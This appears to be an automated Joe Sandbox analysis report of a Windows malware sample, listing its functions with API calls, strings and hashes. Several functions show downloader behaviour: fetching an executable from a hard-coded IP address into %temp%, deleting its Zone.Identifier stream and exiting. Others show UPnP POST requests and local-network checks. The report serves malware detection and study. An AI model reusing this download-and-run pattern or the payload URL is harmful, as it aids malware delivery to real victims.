Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 69E012B5650208FBDB14DFD1EC49FDA776CAB48B01F108554F709E7180DAB5EA4097A8

Function 0040DF20 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON

Download Yara Rule

APIs

NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction ID: 284f4c0ca90a751934941b1d9bfeddc82ee070f17a0c71d7a2ad06256d95dcf5
Opcode Fuzzy Hash: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction Fuzzy Hash: 71D0C779D4010DBBCB00DBE4E84DCDDB77CEB44201F0086D6ED1593150EAB06658CBD5

Function 00404090 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0040411B

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction ID: 5fd1260cd0c1bb1f0d43ca887b35fd9fe7aa376b80e30ba4f5f1b1723d8df557
Opcode Fuzzy Hash: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction Fuzzy Hash: 2C124FF5D00109ABCF14DF98D985AEFB7B5BB98304F10816DE609B7380D739AA41CBA5

Function 0040FB45 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040FBF6

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 801e3abdb9ed3473d766d6bc3744bf4a8f04e52caf0f4b1d7f90672c87cc4716
Instruction ID: 340d7b290d5355f760e33cf283827fd55aa9a8eadb82a746881808a00d0f8de8
Opcode Fuzzy Hash: 801e3abdb9ed3473d766d6bc3744bf4a8f04e52caf0f4b1d7f90672c87cc4716
Instruction Fuzzy Hash: CD61D6316046098FDB39CB29D49166A73A5FF85754F25813BDC06E7AD0E338EC4ACA4C

Function 0040A890 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A8AC

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction ID: 4a2b5bc9ffc7c309cb72e1a35e8a8f61e1833fedd8d517872c2a42ed84d10103
Opcode Fuzzy Hash: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction Fuzzy Hash: DD01DAF0904218CADB209B14D9887ADB774AB84304F1185EAD74977281C3781EDADF5E

Function 0040AEB0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231c24adcade84eecc3356998d411f5491ca9746df8bd507928c4e2bbd5fa8a5
Instruction ID: 161e6bb5934f27057a9722b698e232d6f14762762655f0a3ce64c62cefac505d
Opcode Fuzzy Hash: 231c24adcade84eecc3356998d411f5491ca9746df8bd507928c4e2bbd5fa8a5
Instruction Fuzzy Hash: 0D127DB4D012199FCB48CF99D9919AEFBB2FF88304F24856AE415BB345D734AA01CF94

Function 0040F908 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction ID: 80201675dd9b1cda4480dbd7700016e3944d41601b7f9a5a171a0727e2a58fe8
Opcode Fuzzy Hash: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction Fuzzy Hash: 3821D872900204ABCB24EF69C8819A7B7A5FF44350B05807AED559B285D734F919CBE0

Function 0040F560 Relevance: 73.7, APIs: 36, Strings: 6, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605
%s\%d%d.exe, xrefs: 0040F5E8
%s:Zone.Identifier, xrefs: 0040F6E8
%s\%d%d.exe, xrefs: 0040F7FB
%temp%, xrefs: 0040F58B
%s:Zone.Identifier, xrefs: 0040F838

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 1632876846-2803014298
Opcode ID: 1320f0edb417db05ac7b6e59eda74473c88091b903de4ca17509dc3647de578b
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: 1320f0edb417db05ac7b6e59eda74473c88091b903de4ca17509dc3647de578b
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 004064A0 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 111
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

%temp%, xrefs: 004064CB
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
%s:Zone.Identifier, xrefs: 004065FD
%s\%d%d.exe, xrefs: 00406505
http://185.215.113.66/tdrp.exe, xrefs: 00406546

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe
API String ID: 2816847299-853099633
Opcode ID: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
Opcode Fuzzy Hash: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

.192, xrefs: 0040B90E
.192., xrefs: 0040B92C
.10., xrefs: 0040B98B
.10, xrefs: 0040B96D
0.0.0.0, xrefs: 0040B86E
192., xrefs: 0040B8F0
.127, xrefs: 0040B8AF
127., xrefs: 0040B891
10., xrefs: 0040B94F
.127., xrefs: 0040B8CD

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

<, xrefs: 0040EFA0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6
POST, xrefs: 0040F05E

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

0, xrefs: 004058E0
%x%X, xrefs: 0040591A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

<, xrefs: 0040E670
GET, xrefs: 0040E72B

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 0040F240 Relevance: 16.6, APIs: 11, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
